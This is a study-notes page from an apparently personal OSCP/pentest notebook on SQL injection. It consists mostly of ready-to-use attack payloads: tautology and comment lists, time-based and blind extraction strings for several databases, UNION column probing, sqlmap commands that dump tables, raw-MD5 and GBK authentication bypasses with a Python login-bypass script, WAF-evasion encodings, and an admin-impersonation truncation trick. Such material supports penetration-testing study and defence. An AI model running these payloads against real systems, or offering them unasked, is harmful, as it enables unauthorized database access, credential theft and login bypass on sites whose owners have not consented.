0Sec
0Sec
0Sec
  • Spider Security
  • offensive security
    • OSCP
      • WriteUps
        • PortSwigger
          • SQL injection labs
          • Exploiting XXE to retrieve data by repurposing a local DTD
        • PentesterLabs
          • Recon
        • HTB
          • BoardLight
          • Lame
        • THM
          • Walkthroughs
            • Attacktive Directory
            • LineKernel
            • Day 1 — Linux PrivEsc
          • CTF
            • Page
            • BLUE
            • mKingdom
            • RazorBlack
      • Module 1 (General Info)
      • Module 2 (Getting Kali)
        • Leason 1 - Booting Up Kali Linux
        • Leason 2 - The Kali Menu
        • Leason 4 - Finding Your Way Around Kali
        • Leason 5 - Managing Kali Linux Services
      • Module 3 (CLI)
        • The Bash Environment
        • Piping and Redirection
        • Text Searching and Manipulation
          • Regular
        • Managing Processes
        • File and Command Monitoring
      • Module 4 (Practical Tools)
        • Netcat
        • Socat
        • PowerShell & Powercat
        • Wireshark
        • Tcpdump
      • Module 5 (Bash Script)
      • Module 6 (Passive Info Gathering)
      • Module 7 ( Active Info Gathering)
      • Module 8 (Vulnerability Scanning)
      • Module 9 (Web Application Attacks)
        • Cross Site Scripting (XSS)
        • local file inclusion & remote file inclusion
          • Exploit LFI
        • SQL injection
          • Blind Boolean based SQL & Evasion Techniques
          • SQL
          • Login bypass List
        • File upload
        • Remote code execution
      • Module 10 ( Intro Buffer OverFlow)
      • Module 11 (Widows Buffer OverFlow)
        • Buffer OverFlow Challange
      • Module 12 (Linux Buffer OverFlows)
      • Module 13 (Clint Side Attacks)
      • Module 14 (Locating Public Exploits)
      • Module 15 (FIxing Exploits)
      • Module 16 (File Transfers)
      • Module 17 (Antivirus Evasion)
        • Windows
      • Module 18 (Privllege Escalation)
        • Windows
          • Checklist
          • THM - Windows PrivEsc Arena
        • Linux
          • Checklist
          • Linux PrivEsc Arena
      • Module 19 (Password Attacks)
      • Module 20 (Port Redirection and Tunneling)
      • Module 21 (Active Directory Attacks)
        • adbasics_v1.2
      • Module 22 (Metasploit Framwork)
      • Module 23 (Powershell Empire)
      • Course Materials
  • SANS
  • AppSec
    • EWAPTX
      • PHP Type Juggling
      • CSP
      • SqlI
        • Information_schema
        • WriteUps
      • SSTI & CSTI
      • XSS_HTML Injection
      • CORS Attack
      • Clickjacking
      • Open redirect
      • JSONP
      • LFI && LFD && RFI
      • HTTP Host header attacks
      • CSRF
      • XML injection
      • XML external entity (XXE) injection
      • APIs & JWT attacks
      • Insecure Deserialization
      • OAUTH 2.0 authentication vulnerabilities
      • Host Header Injection
      • Insecure Direct Object References (IDOR)
  • Reverse Eng & Malware dev
    • Internals
      • Windows internals
        • Topics in GitHub
        • Chapter 1 Concepts and tools
        • Chapter 2. System architecture
        • Chapter 3. Processes and jobs
        • Chapter 4. Threads
        • Chapter 5. Memory management
        • Chapter 6. I/O system
        • Chapter 7. Security
      • Linux internals ⇒ Soon
      • MacOs X internals ⇒ Soon
  • cheat sheet
    • Pentest_Notes
    • Linux BOF & Wireless Attacks
    • WriteUps
Powered by GitBook
On this page
  • Insert Statement
  • How to Exploit it ?
  • How to perform a Query
  • SQL Logic
  • Comments
  • use Limit
  • How to union the results
  • information_schema
  • Use wildcard
  • How to test
  • SQLMAP
  • Confirming with Timing
  • Exploiting Union Based
  • Detecting number of columns
  • Order/Group by
  • UNION SELECT
  • Exploiting Blind SQLi
  • Exploiting Error Blind SQLi
  • Exploiting Time-Based SQLi
  • Login bypass List
  • Raw hash authentication Bypass
  • Recommended list:
  • GBK Authentication Bypass
  • Python script
  • WAF Bypass
  • Other resources
  1. offensive security
  2. OSCP
  3. Module 9 (Web Application Attacks)

SQL injection

PreviousExploit LFINextBlind Boolean based SQL & Evasion Techniques

Last updated 11 months ago

  • How Dangerous is it ?

    • P! - Critcal

    • (CVSS) is 9-10

  • some sql basics

    • Sql statements syntax

show databases;

Insert Statement

Modify the password of existing object/user

To do so you should try to create a new object named as the "master object" (probably admin in case of users) modifying something:

  • Create a user named: AdMIn (uppercase & lowercase letters)

  • Create a user named: admin=

  • SQL Truncation Attack (when there is some length limit in the username or email) --> Create a user with the name: admin [a lot of spaces] a

  • If the database is vulnerable and the max number of chars for a username is 30 and you want to impersonate the user admin, try to create a username called: "admin [30 spaces] a" and any password.

How to Exploit it ?

  1. Find the injection Point.

  2. Fix Quary or Balance SQLI

    1. in GET we add '--+

    2. in POST we add '--SPACE or '#

  3. Find the total number of vuln Columns

    1. Order by n

    2. UNION select 1,2,3,4,n-1 => look Different number of Columns

    3. WHERE OR HAVING

    4. version() to test

How to perform a Query

"SELECT * From users where username='ad' or 1=1--'";

SQL Logic

true
1
1>0
2-1
0+1
1*1
1%2
1 & 1
1&1
1 && 2
1&&2
-1 || 1
-1||1
-1 oR 1=1
1 aND 1=1
(1)oR(1=1)
(1)aND(1=1)
-1/**/oR/**/1=1
1/**/aND/**/1=1
1'
1'>'0
2'-'1
0'+'1
1'*'1
1'%'2
1'&'1'='1
1'&&'2'='1
-1'||'1'='1
-1'oR'1'='1
1'aND'1'='1
1"
1">"0
2"-"1
0"+"1
1"*"1
1"%"2
1"&"1"="1
1"&&"2"="1
-1"||"1"="1
-1"oR"1"="1
1"aND"1"="1
1`
1`>`0
2`-`1
0`+`1
1`*`1
1`%`2
1`&`1`=`1
1`&&`2`=`1
-1`||`1`=`1
-1`oR`1`=`1
1`aND`1`=`1
1')>('0
2')-('1
0')+('1
1')*('1
1')%('2
1')&'1'=('1
1')&&'1'=('1
-1')||'1'=('1
-1')oR'1'=('1
1')aND'1'=('1
1")>("0
2")-("1
0")+("1
1")*("1
1")%("2
1")&"1"=("1
1")&&"1"=("1
-1")||"1"=("1
-1")oR"1"=("1
1")aND"1"=("1
1`)>(`0
2`)-(`1
0`)+(`1
1`)*(`1
1`)%(`2
1`)&`1`=(`1
1`)&&`1`=(`1
-1`)||`1`=(`1
-1`)oR`1`=(`1
1`)aND`1`=(`1

Comments

Copy

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

use Limit

select pass from users limit 0,1;

How to union the results

select username,pass from User UNION select 1,2;

information_schema

+---------------------------------------+
| Tables_in_information_schema          |
+---------------------------------------+
| ALL_PLUGINS                           |
| APPLICABLE_ROLES                      |
| CHARACTER_SETS                        |
| CHECK_CONSTRAINTS                     |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENABLED_ROLES                         |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEYWORDS                              |
| KEY_CACHES                            |
| KEY_COLUMN_USAGE                      |
| OPTIMIZER_TRACE                       |
| PARAMETERS                            |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| SQL_FUNCTIONS                         |
| SYSTEM_VARIABLES                      |
| TABLES                                |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
| CLIENT_STATISTICS                     |
| INDEX_STATISTICS                      |
| INNODB_FT_CONFIG                      |
| GEOMETRY_COLUMNS                      |
| INNODB_SYS_TABLESTATS                 |
| SPATIAL_REF_SYS                       |
| USER_STATISTICS                       |
| INNODB_TRX                            |
| INNODB_CMP_PER_INDEX                  |
| INNODB_METRICS                        |
| INNODB_FT_DELETED                     |
| INNODB_CMP                            |
| THREAD_POOL_WAITS                     |
| INNODB_CMP_RESET                      |
| THREAD_POOL_QUEUES                    |
| TABLE_STATISTICS                      |
| INNODB_SYS_FIELDS                     |
| INNODB_BUFFER_PAGE_LRU                |
| INNODB_LOCKS                          |
| INNODB_FT_INDEX_TABLE                 |
| INNODB_CMPMEM                         |
| THREAD_POOL_GROUPS                    |
| INNODB_CMP_PER_INDEX_RESET            |
| INNODB_SYS_FOREIGN_COLS               |
| INNODB_FT_INDEX_CACHE                 |
| INNODB_BUFFER_POOL_STATS              |
| INNODB_FT_BEING_DELETED               |
| INNODB_SYS_FOREIGN                    |
| INNODB_CMPMEM_RESET                   |
| INNODB_FT_DEFAULT_STOPWORD            |
| INNODB_SYS_TABLES                     |
| INNODB_SYS_COLUMNS                    |
| INNODB_SYS_TABLESPACES                |
| INNODB_SYS_INDEXES                    |
| INNODB_BUFFER_PAGE                    |
| INNODB_SYS_VIRTUAL                    |
| user_variables                        |
| INNODB_TABLESPACES_ENCRYPTION         |
| INNODB_LOCK_WAITS                     |
| THREAD_POOL_STATS                     |
SELECT table_name from information_schema.tables  where table_schema=database();

Use wildcard

where username='%F%'
where username='%F'
having username='A%'

How to test

  1. add '"

  2. " or 1=1# | ' or 1=1#

in DVWA

SQLMAP

sqlmap -r req.txt --dbs --random-agent --risk 3 --level 5 -p username,password

-r => File name

-dbs => Enumerate DBMS databases

--level=LEVEL => Level of tests to perform (1-5, default 1)

--risk=RISK => Risk of tests to perform (1-3, default 1)

-p TESTPARAMETER Testable parameter(s)

Assuming you've tested a parameter with ' and it is injectable, run SQL map against the URL:

sqlmap -u "http://[host]/inject.php?param1=1&param2=whatever" --dbms=mysql

It may not run unless you specify the database type.

Get the databases:

sqlmap -u "http://[host]/inject.php?param1=1&param2=whatever" --dbs --dbms=mysql

Get the tables in a database:

sqlmap -u "http://[host]/inject.php?param1=1&param2=whatever" --tables -D [database name]

Get the columns in a table:

sqlmap -u "http://[host]/inject.php?param1=1&param2=whatever" --columns -D [database name] -T [table name]

Dump a table:

sqlmap -u "http://[host]/inject.php?param1=1&param2=whatever" --dump -D [database name] -T [tabl

Confirming with Timing

In some cases you won't notice any change on the page you are testing. Therefore, a good way to discover blind SQL injections is making the DB perform actions and will have an impact on the time the page need to load. Therefore, the we are going to concat in the SQL query an operation that will take a lot of time to complete:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

Exploiting Union Based

Detecting number of columns

If you can see the output of the query this is the best way to exploit it. First of all, wee need to find out the number of columns the initial request is returning. This is because both queries must return the same number of columns. Two methods are typically used for this purpose:

Order/Group by

To determine the number of columns in a query, incrementally adjust the number used in ORDER BY or GROUP BY clauses until a false response is received. Despite the distinct functionalities of GROUP BY and ORDER BY within SQL, both can be utilized identically for ascertaining the query's column count.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
                        #-1' UNION SELECT 1,2,3--+    True

1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
                        #-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Select more and more null values until the query is correct:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

You should use nullvalues as in some cases the type of the columns of both sides of the query must be the same and null is valid in every case.

Exploiting Blind SQLi

In this case you cannot see the results of the query or the errors, but you can distinguished when the query return a true or a false response because there are different contents on the page. In this case, you can abuse that behaviour to dump the database char by char:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiting Error Blind SQLi

This is the same case as before but instead of distinguish between a true/false response from the query you can distinguish between an error in the SQL query or not (maybe because the HTTP server crashes). Therefore, in this case you can force an SQLerror each time you guess correctly the char:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Exploiting Time-Based SQLi

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Raw hash authentication Bypass

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

This query showcases a vulnerability when MD5 is used with true for raw output in authentication checks, making the system susceptible to SQL injection. Attackers can exploit this by crafting inputs that, when hashed, produce unexpected SQL command parts, leading to unauthorized access.

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Injected hash authentication Bypass

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Recommended list:

You should use as a username each line of the list and as password Pass1234. (This payloads are also included in the big list mentioned at the beginning of this section)

GBK Authentication Bypass

IF ' is being scaped you can use %A8%27, and when ' gets scaped it will be created: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python script

import requests
url = "http://example.com/index.php" 
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3') 
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"} 
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url}) 
print r.text

WAF Bypass

No Space (%20) - bypass using whitespace alternatives

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - bypass using comments

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass using parenthesis

?id=(1)and(1)=(1)--

No Comma - bypass using OFFSET, FROM and JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Blacklist using keywords - bypass using uppercase/lowercase

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist using keywords case insensitive - bypass using an equivalent operator

AND   -> &&
OR    -> ||
=     -> LIKE,REGEXP, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING

Information_schema.tables Alternative

select * from mysql.innodb_table_stats;
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| database_name  | table_name            | last_update         | n_rows | clustered_index_size | sum_of_other_index_sizes |
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| dvwa           | guestbook             | 2017-01-19 21:02:57 |      0 |                    1 |                        0 |
| dvwa           | users                 | 2017-01-19 21:03:07 |      5 |                    1 |                        0 |
...
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+

mysql> show tables in dvwa;
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook      |
| users          |
+----------------+

Version Alternative

mysql> select @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31           |
+------------------+

mysql> select @@version;
+-------------------------+
| @@version               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

mysql> mysql> select version();
+-------------------------+
| version()               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

Other resources

  • Detect SQLi

  • MySQL:

  • MSSQL:

  • ORACLE:

  • POSTGRESQL:

  • Others

  • Second Order:

  • Sqlmap:

In this case there isn't any way to distinguish the response of the query based on the context of the page. But, you can make the page take longer to load if the guessed character is correct. We have already saw this technique in use before in order to .

[PentestMonkey's mySQL injection cheat sheet] ()

[Reiners mySQL injection Filter Evasion Cheatsheet] ()

[EvilSQL's Error/Union/Blind MSSQL Cheatsheet] ()

[PentestMonkey's MSSQL SQLi injection Cheat Sheet] ()

[PentestMonkey's Oracle SQLi Cheatsheet] ()

[PentestMonkey's Postgres SQLi Cheatsheet] ()

[Access SQLi Cheatsheet] ()

[PentestMonkey's Ingres SQL Injection Cheat Sheet] ()

[Pentestmonkey's DB2 SQL Injection Cheat Sheet] ()

[Pentestmonkey's Informix SQL Injection Cheat Sheet] ()

[SQLite3 Injection Cheat sheet] ()

[Ruby on Rails (Active Record) SQL Injection Guide] ()

SQL Truncation Attack
confirm a SQLi vuln
Login bypass List
1KBsqli-hashbypass.txt
Manual SQL Injection Discovery Tips
NetSPI SQL Injection Wiki
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/
Alternative for Information_Schema.Tables in MySQL
The SQL Injection Knowledge base
http://evilsql.com/main/page2.php
http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
SQLi Cheatsheet - NetSparker
http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet
https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet
http://rails-sqli.org/
ForkBombers SQLMap Tamper Scripts Update
SQLi in INSERT worse than SELECT
Manual SQL Injection Tips
Analyzing CVE-2018-6376 – Joomla!, Second Order SQL Injection
Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper
#SQLmap protip
What is SQL ?